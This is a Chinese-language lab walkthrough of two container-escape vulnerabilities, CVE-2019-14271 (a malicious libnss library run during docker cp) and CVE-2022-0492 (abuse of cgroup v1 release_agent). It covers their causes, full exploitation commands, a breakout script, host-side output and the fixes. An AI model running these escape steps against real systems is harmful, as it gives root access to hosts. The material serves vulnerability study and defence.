容器内核漏洞导致逃逸
CVE-2019-14271:Docker copy漏洞
漏洞原理
docker cp命令用于容器与宿主机,容器与容器之间进行文件的传递,具体用法
docker cp container_name:/var/logs /some/host/path #容器向主机传递
docker cp /some/host/path container_name:/some/host/path #主机向容器传递
当使用 docker cp
命令,从容器向宿主机传递文件时,在docker容器中会调用 docker-tar
帮助进程,通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中
在 docker-tar
命令调用的过程中会加载多个 libnss_*.so
库,由于我们使用了chroot到容器中,所以在运行 docker-tar
过程中会调用容器文件系统中的相关库,并执行加载,因此我们可以将恶意代码写入 libnss_*.so
库中替换原本的库,在 chroot
特权条件下执行 mount
等操作。
当其他容器或宿主机使用 docker cp
命令复制文件时,将会加载我们的恶意代码,实现docker逃逸
漏洞利用
参考exp:https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp
在 libnss_files.so.2
中加载了自定义的恶意命令,执行 breakout
文件
在breakout中执行了如下的命令
#!/bin/bash
exec > /break_logs 2>&1 # defer output & err to break_logs
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount host's procfs
cd /proc/1/root # chdirs to host's root
mount --bind . /host_fs # mount host root at host_fs
echo "Hello from within the container!" > /host_fs/evil
首先挂载了宿主机的procfs文件到 /proc
下(为了获得对宿主机root文件系统的引用),进入到对应主机进程的root目录下,然后将宿主机的根目录挂载到 host_fs
文件夹下,并验证了命令执行相关操作
将已经编译好的恶意 libnss_files.so.2
文件与容器中原文件进行替换,使用 docker cp
命令加载调用对应so库,在容器内会出现 host_fs
文件挂载了宿主机的主目录,实现了逃逸
root@b3acb7cb5b1e:/# cd exp/
root@b3acb7cb5b1e:/exp# ls
breakout libnss_files.so.2 original_libnss_files.so.2
root@b3acb7cb5b1e:/exp# cp /exp/* /
root@b3acb7cb5b1e:/exp# chmod 777 /breakout
root@b3acb7cb5b1e:/exp# touch /logs
root@b3acb7cb5b1e:/exp# rm /lib/x86_64-linux-gnu/libnss_files.so.2
root@b3acb7cb5b1e:/exp# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
root@b3acb7cb5b1e:/exp# exit
root@vigorous-virtual-machine:/home/vigorous/metarget/writeups_cnv/docker-cve-2019-14271# docker cp 14271:/logs ./
root@vigorous-virtual-machine:/home/vigorous/metarget/writeups_cnv/docker-cve-2019-14271# docker exec -it b3acb7cb5b1e /bin/bash
root@b3acb7cb5b1e:/# ls
bin boot break_logs breakout dev etc exp home host_fs lib lib32 lib64 libx32 logs media mnt opt proc root run sbin srv sys tmp usr var
root@b3acb7cb5b1e:/# cd host_fs/
root@b3acb7cb5b1e:/host_fs# ls
bin boot cdrom data dev etc evil home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var vmlinuz vmlinuz.old
root@b3acb7cb5b1e:/host_fs# cat evil
Hello from within the container!
漏洞修复
漏洞补丁修复了 docker-tar
的 init
函数,避免存在问题的Go package调用任意函数。补丁强制 docker-tar
在 chroot
到容器前,先从宿主机系统中加载 libnss
库
CVE-2022-0492:cgroup内核漏洞
Linux 支持两种 cgroup 架构,称为 v1 和 v2。本漏洞仅影响 cgroup v1,这是目前使用更广泛的架构,所以下面所谈及的是 cgroup v1
本次漏洞基于内核版本为 linux-image-4.15.0-101-generic
runc版本为 1.0.1-0
漏洞原理
漏洞原理与前文中提到的 SYS_ADMIN
权限滥用中利用 notify_on_release
文件逃逸原理相同
在 cgroup v1
中存在两个特性文件 release_agent
与 notify_on_release
,当该 cgroup
中所有进程执行完毕后,会检索是否启用了 notify_on_release
文件,文件内容为1则代表启用,0则代表关闭,当该文件被启用后,则以root权限执行 release_agent
文件中对应路径的文件(在 release_agent
文件中写入的是需要执行文件的绝对路径)
执行该漏洞的前提条件是需要我们有权限去写入这两个文件,但因为linux对该文件的的设置,需要相对高级的root权限才可以写入,所以在普通的容器中, cgroup
下对应的子系统都只有可读权限
root@9f0dff83002a:/# mount | grep cgroup
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma,release_agent=1)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
所以想要写入该文件,就需要将宿主机的子系统挂载出来,那么就需要在启动docker时将安全组策略 apparmor
关闭,同时还需要关闭 seccomp
安全配置,这样我们就可以通过 unshare
在docker中重新分配一个新的资源环境,也就拥有了 sys_admin
的权限,就可以进行任意的挂载命令,再任意写入两个文件
root@9f0dff83002a:/# unshare -UrmC bash
root@9f0dff83002a:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
可以看到在执行过 unshare
命令后,此时的权限为特权模式,接下来进行挂载子系统的操作
root@9f0dff83002a:/# mkdir /tmp/vigorous
root@9f0dff83002a:/# mount -t cgroup -o memory cgroup /tmp/vigorous
root@9f0dff83002a:/# ls /tmp/vigorous/
cgroup.clone_children memory.force_empty memory.kmem.slabinfo memory.kmem.tcp.usage_in_bytes memory.move_charge_at_immigrate memory.soft_limit_in_bytes memory.use_hierarchy
cgroup.event_control memory.kmem.failcnt memory.kmem.tcp.failcnt memory.kmem.usage_in_bytes memory.numa_stat memory.stat notify_on_release
cgroup.procs memory.kmem.limit_in_bytes memory.kmem.tcp.limit_in_bytes memory.limit_in_bytes memory.oom_control memory.swappiness tasks
memory.failcnt memory.kmem.max_usage_in_bytes memory.kmem.tcp.max_usage_in_bytes memory.max_usage_in_bytes memory.pressure_level memory.usage_in_bytes
挂载成功后会发现在 memory
系统中不存在 release_agent
文件,因为 release_agent
文件仅在宿主机的根目录可见,我们挂载的 memory
可能不在宿主机上,只是docker容器中的一个子系统,接下来我们查看容器中子系统的挂载情况(要退回到原来的docker容器中查看)
root@9f0dff83002a:/# cat /proc/self/cgroup
12:perf_event:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
11:memory:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
10:pids:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
9:freezer:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
8:blkio:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
7:hugetlb:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
6:cpuset:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
5:net_cls,net_prio:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
4:rdma:/
3:cpu,cpuacct:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
2:devices:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
1:name=systemd:/docker/9f0dff83002adb09d37c17126762953c8cba782195ea94f959c47d3833f89936
0::/system.slice/containerd.service
可以看到只有 rdma
是挂载在宿主机的根目录下的,这是runc版本为 1.0.1-0
下的特殊情况,在版本为 1.1.1
的runc中所有的子系统都将挂载在对应docker容器中
所以我们需要再次执行 unshare
命令,挂载 rdma
这个子系统
root@9f0dff83002a:/# unshare -UrmC bash
root@9f0dff83002a:/# mount -t cgroup -o rdma cgroup /tmp/vigorous/
root@9f0dff83002a:/# ls /tmp/vigorous/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks
这是我们就成功挂载到宿主机中,得到了 notify_on_release
和 release_agent
文件,接下来依次写入执行代码即可
在最新的内核版本中, unshare
下的权限已经没有如上两个文件的写入权限,所以我们选用的是 linux-image-4.15.0-101-generic
的内核版本
漏洞利用
启动docker容器,关闭 seccomp
与 apparmor
docker run -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined --name=ubuntu ubuntu
挂载 rdma
子系统,写入对应命令到两个文件中,在 output
文件中可以看到 ps aux
的命令执行结果
root@9f0dff83002a:/# echo 1 > /tmp/vigorous/notify_on_release
root@9f0dff83002a:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@9f0dff83002a:/# echo "$host_path/cmd" > /tmp/vigorous/release_agent
root@9f0dff83002a:/# echo '#!/bin/sh' > /cmd
root@9f0dff83002a:/# echo "ps aux > $host_path/output" >> /cmd
root@9f0dff83002a:/# chmod a+x /cmd
root@9f0dff83002a:/# mkdir /tmp/vigorous/x
root@9f0dff83002a:/# ls /tmp/vigorous/x
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
root@9f0dff83002a:/# sh -c "echo \$\$ > /tmp/vigorous/x/cgroup.procs"
root@9f0dff83002a:/# ls
bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var
root@9f0dff83002a:/# cat output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 159772 8940 ? Ss 14:50 0:00 /sbin/init splash
root 2 0.0 0.0 0 0 ? S 14:50 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 14:50 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 14:50 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 14:50 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 14:50 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 14:50 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 14:50 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 14:50 0:00 [watchdog/0]
....
漏洞修复
在最新版本的runc中修改了 rdma
子系统的挂载目录,将docker容器中所有的子系统都挂载到了对应的容器下
在新版本的内核中也对权限做了相应的限制
Reference
https://xz.aliyun.com/t/6806
https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/




